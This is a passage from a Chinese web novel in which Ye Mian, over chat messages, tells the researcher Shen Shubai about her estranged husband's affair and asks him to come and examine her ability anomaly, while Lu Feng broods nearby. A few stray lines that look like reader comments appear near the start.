反抗军的杀手隐藏身份,在所有人眼皮子底下带走了法蒙和叶眠,或成最大赢家。 法蒙答应清洗德里克家族顽固派,最后被扔在反抗军的黑诊所。 遇到困难睡大觉:“噢,我们还被蒋钰跟踪了。回到下层区后有过短暂交火,陆风的悬浮车废了。因为不确定蒋钰手下多少人在这边追踪我们,确认情况前不能回基地,所以只能麻烦你跑一趟。 遇到困难睡大觉:“说起来,不知道你知不知道,蒋钰是我前夫……还没办离婚的前夫[笑脸]。” 沈舒白表情空白:…… 由于我的阅读速度过快,当我意识到我读了什么内容的时候,一切都来不及了。 “等一下,”他艰难地打字,“所以陆风……他,呃,你已经结婚了……但他跟你……他……” 叶眠没忍住笑到发抽,一侧的十七幽幽睁眼,语气冷漠:“再笑你就去找陆风,他肯定乐意跟你一起睡。” “抱歉抱歉,”叶眠咳了一声,装模作样地给她掖了掖被角,“主要是逗老实人太好玩了。” 十七听了跟没听见一样,坚定地闭上了眼睛。 ——十点了,她的作息不允许她再熬夜。 遇到困难睡大觉:“我记得你很久以前说他人还行。” 遇到困难睡大觉:“闹半天,原来你也不知道他跟叶绵绵搞婚外情。” 遇到困难睡大觉:“啧。” 白干全白干:“……” 他怎么知道!他又不是搞情报的!他是100%纯研究员! 冤屈之余,面对叶眠的阴阳怪气,沈舒白无可争辩。 他曾认为自己跟陆风、跟法蒙是同路人,他以为他们都是梦想解放星系的理想主义青年,但如今从叶眠的角度再看,多少人事物早就不是最初的模样。 白干全白干:“……抱歉。” 这声抱歉是对叶绵绵,但他心知,自己的道歉抵消不了陆风的所作所为——那些伤害都是客观存在的、无法抹去的。 他道歉,是为自己曾经的分辨不清。 他一直以为自己是清醒的、游刃有余的旁观者。因为他见过陆风对叶绵绵的若即若离,也见过叶绵绵对陆风的痴缠依赖。他曾以朋友的身份劝过陆风,要么给个痛快,要么好好待她,却从未想过,这段关系竟然建立在那样不堪的基础上——婚外情。 他想起自己曾对叶眠评价陆风“人还行”,此刻只觉得脸上火辣辣的。 他怎么说得出口呢?面对着失忆的叶眠? 而叶眠看着干巴巴的两个字,总算是良心发现地打字:“小沈医生,说实话,我觉得你仁至义尽了。叶绵绵送你东西的时候肯定没怪过你,更何况你还救了我,我更不会怪你,所以不必自责。” 没想到叶眠竟然没有继续嘲讽,而是反过来安慰自己,沈舒白的反思一顿。 遇到困难睡大觉:“唉,说真的,你这人太纯,我都不好意思逗你了。” 差点就感动了的沈舒白:? 等一下?这是正经话吗? 稍微沉重的气氛被叶眠的插科打诨截了过去,她仿佛无事发生地把话题拐回到了拜托他彻底解决异能抵抗上面。 遇到困难睡大觉:“就是感觉陆风也不太正常。你要是过来的话,跟我统一战线恐怕也得受他点鸟气。” 沈舒白看着屏幕,心情有些复杂。 一方面,能正大光明地研究叶眠身上禁制环抵抗和异能恢复异常的问题,对他这个研究人员来说有着巨大的吸引力。另一方面,他敏锐地感觉到,踏入叶眠和陆风之间这摊浑水,未来的日子恐怕不会太平静。 但……他似乎也没有更好的选择。 从他决定瞒着陆风研究禁制环开始,他就已经站在了这条路上。 白干全白干:“我需要准备设备和药剂。地址发我。” 遇到困难睡大觉:“[定位信息]” 遇到困难睡大觉:“那就恭候大驾了,注意安全[笑脸]” 结束了和叶眠的通讯,沈舒白看着那个定位,犹豫了一下,还是点开了和陆风的聊天框。 白干全白干:“陆哥,叶眠联系我了,说了异能异常的事。我准备过去看看。” 他斟酌着用词,尽量显得公事公办。 过了好一会儿,陆风才回复,只有简短的三个字: 陆风:“知道了。” 隔着屏幕,沈舒白都能感觉到那股低气压。他摇了摇头,收起终端,开始着手准备此行需要的物品。只希望这趟“出诊”,能平安顺利,别再横生枝节了。 而公寓的另一个房间里,陆风熄灭终端屏幕。他闭上眼,靠在椅背上,只觉得前所未有的疲惫。 明明人就在隔壁,他却觉得,他们之间是山难平、水难渡,何止一堵墙。